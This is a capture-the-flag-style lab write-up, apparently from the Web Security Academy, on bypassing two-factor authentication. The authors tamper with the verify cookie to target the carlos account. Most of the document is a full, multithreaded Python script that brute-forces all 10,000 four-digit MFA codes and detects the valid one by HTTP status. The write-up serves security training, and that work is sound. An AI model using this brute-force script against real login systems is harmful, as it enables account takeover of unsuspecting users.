
We logged into the web app using the given credentials for wiener with an email client:

We captured the request and modified the username to carlos. When logging in, we also changed the verify cookie to carlos and sent the request to trigger the MFA verification:

We then used a Python3 script to bruteforce the MFA code for carlos. Invalid codes returned a 200 status, while the valid code returned 302:

# script sends MFA codes 0000-9999 and detects valid code via status 302
#!/usr/bin/env python3
import threading, queue, requests, sys, time
from time import perf_counter
TARGET = "https://0a39001c0397f06982fedd8a00a6002d.web-security-academy.net/login2"
COOKIE = "session=4dO4oEIltN0w7lbeKeThD7Cgo3ble6yl; verify=carlos"
FORM_PARAM = "mfa-code"
THREADS = 60
TIMEOUT = 8
TOTAL = 10000
q = queue.Queue()
for i in range(TOTAL):
q.put(str(i).zfill(4))
attempted = 0
attempted_lock = threading.Lock()
found = threading.Event()
result_code = [None]
start_time = perf_counter()
last_print_time = start_time
last_attempted_count = 0
def worker():
global attempted
s = requests.Session()
s.headers.update({
"Host": "0a39001c0397f06982fedd8a00a6002d.web-security-academy.net",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Content-Type": "application/x-www-form-urlencoded",
"Origin": "https://0a39001c0397f06982fedd8a00a6002d.web-security-academy.net",
"Referer": "https://0a39001c0397f06982fedd8a00a6002d.web-security-academy.net/login2",
"Upgrade-Insecure-Requests": "1",
"Cookie": COOKIE
})
while not found.is_set():
try:
code = q.get_nowait()
except queue.Empty:
return
try:
t0 = perf_counter()
r = s.post(TARGET, data={FORM_PARAM: code}, allow_redirects=False, timeout=TIMEOUT)
latency_ms = int((perf_counter() - t0) * 1000)
with attempted_lock:
global_attempts = None
attempted += 1
global_attempts = attempted
if r.status_code == 302:
result_code[0] = code
found.set()
print(f"\nVALID CODE FOUND: {code} (status=302 latency={latency_ms}ms)")
return
except Exception as e:
with attempted_lock:
attempted += 1
finally:
q.task_done()
def monitor():
global last_print_time, last_attempted_count
while not found.is_set():
time.sleep(0.5)
now = perf_counter()
with attempted_lock:
att = attempted
elapsed = now - start_time
recent_delta = att - last_attempted_count
recent_time = now - last_print_time
rate = att / elapsed if elapsed > 0 else 0
recent_rate = recent_delta / recent_time if recent_time > 0 else 0
remaining = TOTAL - att
eta = remaining / rate if rate > 0 else float('inf')
percent = (att / TOTAL) * 100
last_attempted_count = att
last_print_time = now
if eta == float('inf'):
eta_str = "?"
else:
eta_s = int(eta)
eta_str = f"{eta_s}s"
sys.stdout.write(f"\rTried: {att}/{TOTAL} ({percent:.2f}%) | rate: {rate:.1f}/s (recent {recent_rate:.1f}/s) | remaining: {remaining} | ETA: {eta_str} ")
sys.stdout.flush()
return
threads = []
for _ in range(THREADS):
t = threading.Thread(target=worker, daemon=True)
t.start()
threads.append(t)
m = threading.Thread(target=monitor, daemon=True)
m.start()
try:
for t in threads:
t.join()
q.join()
except KeyboardInterrupt:
found.set()
if result_code[0]:
print(result_code[0])
sys.exit(0)
else:
print("\nNOT FOUND")
sys.exit(1)
Using the valid MFA code obtained from the script, we changed the verify cookie to carlos and logged in successfully:

This allowed us to access the carlos account and complete the lab:
